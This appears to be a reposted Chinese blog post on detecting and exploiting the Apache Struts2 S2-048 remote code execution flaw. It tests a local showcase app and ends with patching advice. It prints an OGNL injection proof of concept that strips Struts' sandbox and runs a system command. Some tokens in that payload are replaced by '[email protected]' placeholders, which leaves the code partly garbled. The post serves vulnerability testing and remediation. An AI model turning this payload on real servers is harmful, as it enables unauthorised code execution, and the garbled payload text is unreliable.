1. 程式人生 > >S2-048 遠端程式碼執行漏洞檢測利用

S2-048 遠端程式碼執行漏洞檢測利用

2017年7月7日,ApacheStruts 釋出最新的安全公告,Apache Struts2的strus1外掛存在遠端程式碼執行的高危漏洞,漏洞編號為 CVE-2017-9791(S2-048)。攻擊者可以構造惡意的欄位值通過Struts2的struts2-struts1-plugin外掛,遠端執行程式碼。

漏洞記錄

S2-048
CVE-2017-9791
Struts 2.3.X
http://127.0.0.1:8090/struts2-showcase/integration/saveGangster.action
影響範圍非常小

漏洞檢測利用

根據官網說明,可知漏洞產生的原因是將使用者可控的值新增到 ActionMessage 並在客戶前端展示,導致其進入 getText 函式,最後 message 被當作 ognl 表示式執行所以訪問 /integration/saveGangster.action 構造payload
在這裡插入圖片描述


發現執行1+1,並顯示在螢幕上
在這裡插入圖片描述
命令執行poc

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#
[email protected]
@toString(@[email protected]().exec('uname -a').getInputStream())).(#q)}

在這裡插入圖片描述

修補意見

1、臨時解決方案:通過使用 resourcekeys 替代將原始訊息直接傳遞給 ActionMessage 的方式。如下所示:

messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));

一定不要使用如下的方式

messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));

2、 無奈解決方案:不啟用struts2-struts1-plugin外掛

3、 根本解決方案:建議升級到最新版本
在這裡插入圖片描述